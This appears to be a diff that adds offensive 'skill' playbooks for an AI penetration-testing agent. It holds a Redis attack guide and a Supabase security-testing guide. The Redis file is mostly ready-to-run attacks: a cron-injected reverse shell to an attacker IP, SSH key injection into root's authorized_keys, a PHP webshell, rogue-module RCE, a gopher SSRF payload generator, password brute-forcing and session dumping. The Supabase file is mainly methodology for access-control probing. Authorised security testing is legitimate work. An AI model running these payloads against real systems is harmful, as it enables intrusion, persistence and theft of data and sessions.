- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,236 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: redis
|
|
5
|
+
description: Security testing playbook for Redis covering unauthenticated access, RCE via cron/SSH key injection, SSRF-to-Redis, Lua scripting, and data extraction
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Redis Security Testing
|
|
9
|
+
|
|
10
|
+
Redis is a high-value target: unauthenticated by default in older versions, and if accessible leads directly to RCE via cron job injection, SSH key writing, or webshell placement. Common finding in internal networks and via SSRF.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Discovery
|
|
17
|
+
|
|
18
|
+
# Port scanning
|
|
19
|
+
nmap -p 6379 <target> -sV --open -sC
|
|
20
|
+
|
|
21
|
+
# Default port: 6379
|
|
22
|
+
# Sentinel: 26379
|
|
23
|
+
# Cluster: 7000-7005
|
|
24
|
+
|
|
25
|
+
# Redis banner
|
|
26
|
+
nc <target> 6379
|
|
27
|
+
PING # Returns: +PONG → no auth required
|
|
28
|
+
INFO server # Returns: full server info
|
|
29
|
+
|
|
30
|
+
# nmap redis scripts
|
|
31
|
+
nmap --script redis-info,redis-brute <target> -p 6379
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## Unauthenticated Access
|
|
36
|
+
|
|
37
|
+
# Basic auth test
|
|
38
|
+
redis-cli -h <target> -p 6379 PING
|
|
39
|
+
# PONG = no authentication required
|
|
40
|
+
|
|
41
|
+
redis-cli -h <target> INFO server # Server info
|
|
42
|
+
redis-cli -h <target> CONFIG GET * # All configuration
|
|
43
|
+
redis-cli -h <target> KEYS * # All keys
|
|
44
|
+
redis-cli -h <target> DBSIZE # Number of keys
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Data Extraction
|
|
49
|
+
|
|
50
|
+
# List all keys
|
|
51
|
+
redis-cli -h <target> KEYS *
|
|
52
|
+
redis-cli -h <target> KEYS "user*"
|
|
53
|
+
redis-cli -h <target> KEYS "session*"
|
|
54
|
+
redis-cli -h <target> KEYS "token*"
|
|
55
|
+
|
|
56
|
+
# Get value by key
|
|
57
|
+
redis-cli -h <target> GET <key>
|
|
58
|
+
redis-cli -h <target> TYPE <key> # string, hash, list, set, zset
|
|
59
|
+
|
|
60
|
+
# Hash operations (common for sessions):
|
|
61
|
+
redis-cli -h <target> HGETALL <key> # All fields in hash
|
|
62
|
+
redis-cli -h <target> HKEYS <key>
|
|
63
|
+
|
|
64
|
+
# Scan (safer than KEYS * on large dbs)
|
|
65
|
+
redis-cli -h <target> SCAN 0 COUNT 100
|
|
66
|
+
|
|
67
|
+
# Dump all key-value pairs:
|
|
68
|
+
redis-cli -h <target> --scan | while read key; do
|
|
69
|
+
echo "KEY: $key"
|
|
70
|
+
redis-cli -h <target> GET "$key"
|
|
71
|
+
done
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## Remote Code Execution via File Write
|
|
76
|
+
|
|
77
|
+
Redis's CONFIG SET allows changing the directory and filename for RDB/AOF saves — enabling arbitrary file write.
|
|
78
|
+
|
|
79
|
+
### Method 1: Cron Job Injection (Linux)
|
|
80
|
+
|
|
81
|
+
redis-cli -h <target>
|
|
82
|
+
CONFIG SET dir /var/spool/cron/crontabs/
|
|
83
|
+
CONFIG SET dbfilename root
|
|
84
|
+
SET payload "\n\n* * * * * bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1\n\n"
|
|
85
|
+
BGSAVE
|
|
86
|
+
|
|
87
|
+
# Wait ~1 minute for cron to execute
|
|
88
|
+
nc -lvnp 4444
|
|
89
|
+
|
|
90
|
+
### Method 2: SSH Key Injection
|
|
91
|
+
|
|
92
|
+
# Generate SSH key pair on attacker:
|
|
93
|
+
ssh-keygen -t rsa -f /tmp/redis_rsa -N ""
|
|
94
|
+
|
|
95
|
+
redis-cli -h <target>
|
|
96
|
+
CONFIG SET dir /root/.ssh/
|
|
97
|
+
CONFIG SET dbfilename authorized_keys
|
|
98
|
+
SET pubkey "\n\n<contents of /tmp/redis_rsa.pub>\n\n"
|
|
99
|
+
BGSAVE
|
|
100
|
+
|
|
101
|
+
# Connect:
|
|
102
|
+
ssh -i /tmp/redis_rsa root@<target>
|
|
103
|
+
|
|
104
|
+
### Method 3: Webshell (if web root is known)
|
|
105
|
+
|
|
106
|
+
redis-cli -h <target>
|
|
107
|
+
CONFIG SET dir /var/www/html/
|
|
108
|
+
CONFIG SET dbfilename shell.php
|
|
109
|
+
SET payload "<?php system($_GET['cmd']); ?>"
|
|
110
|
+
BGSAVE
|
|
111
|
+
|
|
112
|
+
# Access:
|
|
113
|
+
curl "http://<target>/shell.php?cmd=id"
|
|
114
|
+
|
|
115
|
+
---
|
|
116
|
+
|
|
117
|
+
## RCE via Redis Module Loading (Redis 4.x+)
|
|
118
|
+
|
|
119
|
+
# Load a malicious shared library:
|
|
120
|
+
redis-cli -h <target> MODULE LOAD /path/to/malicious.so
|
|
121
|
+
redis-cli -h <target> SYSTEM.EXEC "id"
|
|
122
|
+
|
|
123
|
+
# Compile malicious module (RedisModuleSDK):
|
|
124
|
+
# Tools: https://github.com/n0b0dyCN/RedisModulesSDK
|
|
125
|
+
# redis-rogue-server: automated exploitation
|
|
126
|
+
git clone https://github.com/n0b0dyCN/redis-rogue-server
|
|
127
|
+
python3 redis-rogue-server.py --rhost <target> --lhost <attacker>
|
|
128
|
+
|
|
129
|
+
---
|
|
130
|
+
|
|
131
|
+
## RCE via Lua Scripting
|
|
132
|
+
|
|
133
|
+
# Lua script execution (restricted but test for bypass):
|
|
134
|
+
redis-cli -h <target> EVAL "return redis.call('info')" 0
|
|
135
|
+
|
|
136
|
+
# OS command execution via Lua (Redis < 3.2.0):
|
|
137
|
+
redis-cli -h <target> EVAL "return redis.call('config', 'set', 'dir', '/tmp')" 0
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## Authentication Bypass / Brute Force
|
|
142
|
+
|
|
143
|
+
# Test with blank auth:
|
|
144
|
+
redis-cli -h <target> AUTH ""
|
|
145
|
+
|
|
146
|
+
# Common Redis passwords:
|
|
147
|
+
redis-cli -h <target> AUTH redis
|
|
148
|
+
redis-cli -h <target> AUTH password
|
|
149
|
+
redis-cli -h <target> AUTH 123456
|
|
150
|
+
redis-cli -h <target> AUTH admin
|
|
151
|
+
|
|
152
|
+
# Brute force with hydra:
|
|
153
|
+
hydra -P /usr/share/wordlists/rockyou.txt redis://<target>
|
|
154
|
+
|
|
155
|
+
# nmap brute:
|
|
156
|
+
nmap --script redis-brute <target> -p 6379
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
160
|
+
## SSRF to Redis (Gopher Protocol)
|
|
161
|
+
|
|
162
|
+
If SSRF allows gopher:// protocol, you can send Redis commands through HTTP SSRF:
|
|
163
|
+
|
|
164
|
+
# Gopher URL format for Redis commands:
|
|
165
|
+
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A
|
|
166
|
+
|
|
167
|
+
# Generate gopher payload for Redis RCE:
|
|
168
|
+
python3 -c "
|
|
169
|
+
import urllib.parse
|
|
170
|
+
|
|
171
|
+
def encode_redis_cmd(*args):
|
|
172
|
+
cmd = f'*{len(args)}\r\n'
|
|
173
|
+
for arg in args:
|
|
174
|
+
cmd += f'\${len(arg)}\r\n{arg}\r\n'
|
|
175
|
+
return cmd
|
|
176
|
+
|
|
177
|
+
# Commands to set SSH key:
|
|
178
|
+
cmds = [
|
|
179
|
+
encode_redis_cmd('CONFIG', 'SET', 'dir', '/root/.ssh'),
|
|
180
|
+
encode_redis_cmd('CONFIG', 'SET', 'dbfilename', 'authorized_keys'),
|
|
181
|
+
encode_redis_cmd('SET', 'key', '\n\nssh-rsa AAAA... attacker@host\n\n'),
|
|
182
|
+
encode_redis_cmd('BGSAVE'),
|
|
183
|
+
]
|
|
184
|
+
|
|
185
|
+
payload = ''.join(cmds)
|
|
186
|
+
gopher_url = 'gopher://127.0.0.1:6379/_' + urllib.parse.quote(payload)
|
|
187
|
+
print(gopher_url)
|
|
188
|
+
"
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
## Redis Cluster Enumeration
|
|
193
|
+
|
|
194
|
+
# Get cluster nodes
|
|
195
|
+
redis-cli -h <target> CLUSTER NODES
|
|
196
|
+
redis-cli -h <target> CLUSTER INFO
|
|
197
|
+
|
|
198
|
+
# Check for replication (master/slave):
|
|
199
|
+
redis-cli -h <target> INFO replication
|
|
200
|
+
# slaveof = address of master node
|
|
201
|
+
|
|
202
|
+
---
|
|
203
|
+
|
|
204
|
+
## Session Data Extraction
|
|
205
|
+
|
|
206
|
+
# Many web apps store sessions in Redis
|
|
207
|
+
# PHP sessions (laravel, symfony):
|
|
208
|
+
redis-cli -h <target> KEYS "laravel:*"
|
|
209
|
+
redis-cli -h <target> KEYS "PHPREDIS_SESSION:*"
|
|
210
|
+
|
|
211
|
+
# Node.js express sessions (connect-redis):
|
|
212
|
+
redis-cli -h <target> KEYS "sess:*"
|
|
213
|
+
redis-cli -h <target> GET "sess:<session_id>"
|
|
214
|
+
|
|
215
|
+
# Python Flask sessions:
|
|
216
|
+
redis-cli -h <target> KEYS "session:*"
|
|
217
|
+
|
|
218
|
+
# If session data found, decode and forge:
|
|
219
|
+
# JSON sessions → modify role, user_id, etc.
|
|
220
|
+
# Signed sessions → need secret key
|
|
221
|
+
|
|
222
|
+
---
|
|
223
|
+
|
|
224
|
+
## Pro Tips
|
|
225
|
+
|
|
226
|
+
1. Redis without auth = immediate RCE via cron injection in most Linux environments
|
|
227
|
+
2. SSH key injection is more reliable than cron (instant, doesn't need cron daemon)
|
|
228
|
+
3. Always check `CONFIG GET dir` and `CONFIG GET dbfilename` to understand current save path
|
|
229
|
+
4. Redis exposed via SSRF with gopher:// is an instant RCE chain to internal systems
|
|
230
|
+
5. `KEYS *` on production Redis can be slow and disruptive — use `SCAN` instead
|
|
231
|
+
6. Session keys starting with `sess:` or `laravel:` contain serialized auth data — goldmine
|
|
232
|
+
7. Redis Sentinel on port 26379 often has weaker security than main Redis instance
|
|
233
|
+
|
|
234
|
+
## Summary
|
|
235
|
+
|
|
236
|
+
Redis testing = PING for no-auth check + KEYS * for data extraction + cron/SSH RCE via CONFIG SET. Unauthenticated Redis = guaranteed RCE in most Linux environments via SSH key injection or cron job. Sessions stored in Redis are extractable and often forgeable. SSRF-to-Redis via gopher:// is a classic internal escalation chain.
|
|
@@ -0,0 +1,270 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: supabase
|
|
5
|
+
description: Supabase security testing covering Row Level Security, PostgREST, Edge Functions, and service key exposure
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Supabase
|
|
9
|
+
|
|
10
|
+
Security testing for Supabase applications. Focus on mis-scoped Row Level Security (RLS), unsafe RPCs, leaked `service_role` keys, lax Storage policies, and Edge Functions trusting headers without binding to issuer/audience/tenant.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Data Access**
|
|
15
|
+
- PostgREST: table CRUD, filters, embeddings, RPC (remote functions)
|
|
16
|
+
- GraphQL: pg_graphql over Postgres schema with RLS interaction
|
|
17
|
+
- Realtime: replication subscriptions, broadcast/presence channels
|
|
18
|
+
|
|
19
|
+
**Storage**
|
|
20
|
+
- Buckets, objects, signed URLs, public/private policies
|
|
21
|
+
|
|
22
|
+
**Authentication**
|
|
23
|
+
- Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows
|
|
24
|
+
|
|
25
|
+
**Server-Side**
|
|
26
|
+
- Edge Functions (Deno): server-side code calling Supabase with secrets
|
|
27
|
+
|
|
28
|
+
## Architecture
|
|
29
|
+
|
|
30
|
+
**Endpoints**
|
|
31
|
+
- REST: `https://<ref>.supabase.co/rest/v1/<table>`
|
|
32
|
+
- RPC: `https://<ref>.supabase.co/rest/v1/rpc/<fn>`
|
|
33
|
+
- Storage: `https://<ref>.supabase.co/storage/v1`
|
|
34
|
+
- GraphQL: `https://<ref>.supabase.co/graphql/v1`
|
|
35
|
+
- Realtime: `wss://<ref>.supabase.co/realtime/v1`
|
|
36
|
+
- Auth: `https://<ref>.supabase.co/auth/v1`
|
|
37
|
+
- Functions: `https://<ref>.functions.supabase.co/`
|
|
38
|
+
|
|
39
|
+
**Headers**
|
|
40
|
+
- `apikey: <anon-or-service>` — identifies project
|
|
41
|
+
- `Authorization: Bearer <JWT>` — binds user context
|
|
42
|
+
|
|
43
|
+
**Roles**
|
|
44
|
+
- `anon`, `authenticated` — standard roles
|
|
45
|
+
- `service_role` — bypasses RLS, must never be client-exposed
|
|
46
|
+
|
|
47
|
+
**Key Principle**
|
|
48
|
+
`auth.uid()` returns current user UUID from JWT. Policies must never trust client-supplied IDs over server context.
|
|
49
|
+
|
|
50
|
+
## High-Value Targets
|
|
51
|
+
|
|
52
|
+
- Tables with sensitive data (users, orders, payments, PII)
|
|
53
|
+
- RPC functions (especially `SECURITY DEFINER`)
|
|
54
|
+
- Storage buckets with private files
|
|
55
|
+
- Edge Functions with `service_role` access
|
|
56
|
+
- Export/report endpoints generating signed outputs
|
|
57
|
+
- Admin/staff routes and privilege-granting endpoints
|
|
58
|
+
|
|
59
|
+
## Reconnaissance
|
|
60
|
+
|
|
61
|
+
**Enumerate Surfaces**
|
|
62
|
+
```
|
|
63
|
+
/rest/v1/<table>
|
|
64
|
+
/rest/v1/rpc/<fn>
|
|
65
|
+
/storage/v1/object/public/<bucket>/
|
|
66
|
+
/storage/v1/object/list/<bucket>?prefix=
|
|
67
|
+
/graphql/v1
|
|
68
|
+
/auth/v1
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
**Obtain Principals**
|
|
72
|
+
- Unauthenticated (anon key only)
|
|
73
|
+
- Basic user A, user B
|
|
74
|
+
- Admin/staff (if available)
|
|
75
|
+
- Check if `service_role` key leaked in client bundle or Edge Function responses
|
|
76
|
+
|
|
77
|
+
## Key Vulnerabilities
|
|
78
|
+
|
|
79
|
+
### Row Level Security (RLS)
|
|
80
|
+
|
|
81
|
+
Enable RLS on every non-public table; absence or "permit-all" policies → bulk exposure.
|
|
82
|
+
|
|
83
|
+
**Common Gaps**
|
|
84
|
+
- Policies check `auth.uid()` for SELECT but forget UPDATE/DELETE/INSERT
|
|
85
|
+
- Missing tenant constraints (`org_id`/`tenant_id`) allow cross-tenant access
|
|
86
|
+
- Policies rely on client-provided columns (`user_id` in payload) instead of JWT
|
|
87
|
+
- Complex joins where policy is applied after filters, enabling inference via counts
|
|
88
|
+
|
|
89
|
+
**Tests**
|
|
90
|
+
```bash
|
|
91
|
+
# Compare row counts for two users
|
|
92
|
+
GET /rest/v1/<table>?select=*&Prefer=count=exact
|
|
93
|
+
|
|
94
|
+
# Cross-tenant probe
|
|
95
|
+
GET /rest/v1/<table>?org_id=eq.<other_org>
|
|
96
|
+
GET /rest/v1/<table>?or=(org_id.eq.other,org_id.is.null)
|
|
97
|
+
|
|
98
|
+
# Write-path
|
|
99
|
+
PATCH /rest/v1/<table>?id=eq.<foreign_id>
|
|
100
|
+
DELETE /rest/v1/<table>?id=eq.<foreign_id>
|
|
101
|
+
POST /rest/v1/<table> with foreign owner_id
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
### PostgREST & REST
|
|
105
|
+
|
|
106
|
+
**Filters**
|
|
107
|
+
- `eq`, `neq`, `lt`, `gt`, `ilike`, `or`, `is`, `in`
|
|
108
|
+
- Embed relations: `select=*,profile(*)`—exploits overfetch if resolvers skip per-row checks
|
|
109
|
+
- Search leaks: generous `LIKE`/`ILIKE` filters combined with missing RLS → mass disclosure via wildcard queries
|
|
110
|
+
|
|
111
|
+
**Headers**
|
|
112
|
+
- `Prefer: return=representation` — echo writes
|
|
113
|
+
- `Prefer: count=exact` — exposure via counts
|
|
114
|
+
- `Accept-Profile`/`Content-Profile` — select schema
|
|
115
|
+
|
|
116
|
+
**IDOR Patterns**
|
|
117
|
+
```
|
|
118
|
+
/rest/v1/<table>?select=*&id=eq.<other_id>
|
|
119
|
+
/rest/v1/<table>?select=*&slug=eq.<other_slug>
|
|
120
|
+
/rest/v1/<table>?select=*&email=eq.<other_email>
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
**Mass Assignment**
|
|
124
|
+
- If RPC not used, PATCH can update unintended columns
|
|
125
|
+
- Verify restricted columns via database permissions/policies
|
|
126
|
+
|
|
127
|
+
### RPC Functions
|
|
128
|
+
|
|
129
|
+
RPC endpoints map to SQL functions. `SECURITY DEFINER` bypasses RLS unless carefully coded; `SECURITY INVOKER` respects caller.
|
|
130
|
+
|
|
131
|
+
**Anti-Patterns**
|
|
132
|
+
- `SECURITY DEFINER` + missing owner checks → vertical/horizontal bypass
|
|
133
|
+
- `set search_path` left to public; function resolves unsafe objects
|
|
134
|
+
- Trusting client-supplied `user_id`/`tenant_id` rather than `auth.uid()`
|
|
135
|
+
|
|
136
|
+
**Tests**
|
|
137
|
+
```bash
|
|
138
|
+
# Call as different users with foreign IDs
|
|
139
|
+
POST /rest/v1/rpc/<fn> {"user_id": "<foreign_id>"}
|
|
140
|
+
|
|
141
|
+
# Remove JWT entirely
|
|
142
|
+
Authorization: Bearer <anon_token>
|
|
143
|
+
```
|
|
144
|
+
Verify functions perform explicit ownership/tenant checks inside SQL.
|
|
145
|
+
|
|
146
|
+
### Storage
|
|
147
|
+
|
|
148
|
+
**Buckets**
|
|
149
|
+
- Public vs private; objects in `storage.objects` with RLS-like policies
|
|
150
|
+
|
|
151
|
+
**Misconfigurations**
|
|
152
|
+
```bash
|
|
153
|
+
# Public bucket with sensitive data
|
|
154
|
+
GET /storage/v1/object/public/<bucket>/<path>
|
|
155
|
+
|
|
156
|
+
# List prefixes without auth
|
|
157
|
+
GET /storage/v1/object/list/<bucket>?prefix=
|
|
158
|
+
|
|
159
|
+
# Signed URL reuse across tenants/paths
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
**Content-Type Abuse**
|
|
163
|
+
- Upload HTML/SVG served as `text/html` or `image/svg+xml`
|
|
164
|
+
- Verify `X-Content-Type-Options: nosniff` and `Content-Disposition: attachment`
|
|
165
|
+
|
|
166
|
+
**Path Confusion**
|
|
167
|
+
- Mixed case, URL-encoding, `..` segments may be rejected at UI but accepted by API
|
|
168
|
+
- Test path normalization differences between client validation and server handling
|
|
169
|
+
|
|
170
|
+
### Realtime
|
|
171
|
+
|
|
172
|
+
**Endpoint**: `wss://<ref>.supabase.co/realtime/v1`
|
|
173
|
+
|
|
174
|
+
**Risks**
|
|
175
|
+
- Channel names derived from table/schema/filters leaking other users' updates when RLS or channel guards are weak
|
|
176
|
+
- Broadcast/presence channels allowing cross-room join/publish without auth
|
|
177
|
+
|
|
178
|
+
**Tests**
|
|
179
|
+
- Subscribe to `public:realtime` changes on protected tables; confirm visibility aligns with RLS
|
|
180
|
+
- Attempt joining other users' channels: `room:<user_id>`, `org:<org_id>`
|
|
181
|
+
|
|
182
|
+
### GraphQL
|
|
183
|
+
|
|
184
|
+
**Endpoint**: `/graphql/v1` using pg_graphql with RLS
|
|
185
|
+
|
|
186
|
+
**Risks**
|
|
187
|
+
- Introspection reveals schema relations
|
|
188
|
+
- Overfetch via nested relations where resolvers skip per-row ownership checks
|
|
189
|
+
- Global node IDs leaked and reusable via different viewers
|
|
190
|
+
|
|
191
|
+
**Tests**
|
|
192
|
+
- Compare REST vs GraphQL responses for same principal and query shape
|
|
193
|
+
- Query deep nested fields; verify RLS holds at each edge
|
|
194
|
+
|
|
195
|
+
### Auth & Tokens
|
|
196
|
+
|
|
197
|
+
GoTrue issues JWTs with claims (`sub=uid`, `role`, `aud=authenticated`).
|
|
198
|
+
|
|
199
|
+
**Verification Requirements**
|
|
200
|
+
- Issuer, audience, expiration, signature, tenant context
|
|
201
|
+
|
|
202
|
+
**Pitfalls**
|
|
203
|
+
- Storing tokens in localStorage → XSS exfiltration
|
|
204
|
+
- Treating `apikey` as identity (it's project-scoped, not user identity)
|
|
205
|
+
- Exposing `service_role` key in client bundle or Edge Function responses
|
|
206
|
+
- Refresh token mismanagement leading to long-lived sessions beyond intended TTL
|
|
207
|
+
|
|
208
|
+
**Tests**
|
|
209
|
+
- Replay tokens across services; check audience/issuer pinning
|
|
210
|
+
- Try downgraded tokens (expired/other audience) against custom endpoints
|
|
211
|
+
|
|
212
|
+
### Edge Functions
|
|
213
|
+
|
|
214
|
+
Deno-based functions often initialize Supabase client with `service_role`.
|
|
215
|
+
|
|
216
|
+
**Risks**
|
|
217
|
+
- Trusting Authorization/apikey headers without verifying JWT against issuer/audience
|
|
218
|
+
- CORS: wildcard origins with credentials; reflected Authorization in responses
|
|
219
|
+
- SSRF via fetch; secrets exposed via error traces or logs
|
|
220
|
+
|
|
221
|
+
**Tests**
|
|
222
|
+
- Call functions with and without Authorization; compare behavior
|
|
223
|
+
- Try foreign resource IDs in payloads; verify server re-derives user/tenant from JWT
|
|
224
|
+
- Attempt to reach internal endpoints (metadata services) via function fetch
|
|
225
|
+
|
|
226
|
+
### Tenant Isolation
|
|
227
|
+
|
|
228
|
+
Ensure every query joins or filters by `tenant_id`/`org_id` derived from JWT context, not client input.
|
|
229
|
+
|
|
230
|
+
**Tests**
|
|
231
|
+
- Change subdomain/header/path tenant selectors while keeping JWT tenant constant
|
|
232
|
+
- Export/report endpoints: confirm queries execute under caller scope
|
|
233
|
+
|
|
234
|
+
## Bypass Techniques
|
|
235
|
+
|
|
236
|
+
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
|
|
237
|
+
- Parameter pollution: duplicate keys in JSON/query (PostgREST chooses last/first depending on parser)
|
|
238
|
+
- GraphQL+REST parity probing: protections often drift; fetch via the weaker path
|
|
239
|
+
- Race windows: parallel writes to bypass post-insert ownership updates
|
|
240
|
+
|
|
241
|
+
## Blind Enumeration
|
|
242
|
+
|
|
243
|
+
- Use `Prefer: count=exact` and ETag/length diffs to infer unauthorized rows
|
|
244
|
+
- Conditional requests (`If-None-Match`) to detect object existence
|
|
245
|
+
- Storage signed URLs: timing/length deltas to map valid vs invalid tokens
|
|
246
|
+
|
|
247
|
+
## Testing Methodology
|
|
248
|
+
|
|
249
|
+
1. **Inventory surfaces** - Map REST, Storage, GraphQL, Realtime, Auth, Functions endpoints
|
|
250
|
+
2. **Obtain principals** - Collect tokens for anon, user A/B, admin; check for `service_role` leaks
|
|
251
|
+
3. **Build matrix** - Resource × Action × Principal
|
|
252
|
+
4. **REST vs GraphQL** - Test both to find parity gaps
|
|
253
|
+
5. **Seed IDs** - Start with list/search endpoints to gather IDs
|
|
254
|
+
6. **Cross-principal** - Swap IDs, tenants, and transports across principals
|
|
255
|
+
|
|
256
|
+
## Tooling
|
|
257
|
+
|
|
258
|
+
- PostgREST: httpie/curl + jq; enumerate tables; fuzz filters (`or=`, `ilike`, `neq`, `is.null`)
|
|
259
|
+
- GraphQL: graphql-inspector, voyager; deep queries for field-level enforcement
|
|
260
|
+
- Realtime: custom ws client; subscribe to suspicious channels; diff payloads per principal
|
|
261
|
+
- Storage: enumerate bucket listing APIs; script signed URL patterns
|
|
262
|
+
- Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions
|
|
263
|
+
- Policy diffing: maintain request sets per role; compare results across releases
|
|
264
|
+
|
|
265
|
+
## Validation Requirements
|
|
266
|
+
|
|
267
|
+
- Owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata)
|
|
268
|
+
- Mis-scoped RPC or Storage signed URL usable by another user/tenant
|
|
269
|
+
- Realtime or GraphQL exposure matching missing policy checks
|
|
270
|
+
- Minimal reproducible requests with role contexts documented
|